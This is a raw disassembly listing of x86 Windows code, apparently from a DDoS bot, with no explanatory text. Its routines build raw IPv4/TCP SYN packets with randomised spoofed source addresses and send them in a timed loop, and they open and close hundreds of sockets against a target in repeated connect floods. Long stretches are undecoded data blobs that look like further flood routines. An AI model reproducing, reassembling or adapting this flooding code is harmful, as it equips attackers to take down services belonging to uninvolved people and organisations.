		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B54
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB03C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 5468FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF8415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A1BCo
		dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C24h, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh
		dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435C04h, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DD1805C6h
		dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch
		dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch
		dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h
		dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h
		dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh,	0FF004CB0h
		dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435BBC68h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Bh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B7068h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h
		dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h
		dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 0AC68FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2BCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAEBCh, 0C0753B46h,	75FFDA7Ch, 5C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C8068h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22BCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0F5E89000h
		dd 500226DAh, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	68FFFFh
		dd 5000435Dh, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0CF8FE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0D468FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 2BC9DBE8h
		db 2, 90h
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5D2868FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022BC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 2670535h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D54h, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAFA4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAFA4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAFA4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2760B0Fh
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2760805h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2760805h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D7C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB03C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 9C68FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch
		dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 8415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h
		dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB03C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB024h
		dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch,	0FFFBC085h
		dd 5EB468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 2BC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h
		dd 0C0858D50h, 68FFFFFBh, 435E7Ch, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E5C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAFA4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
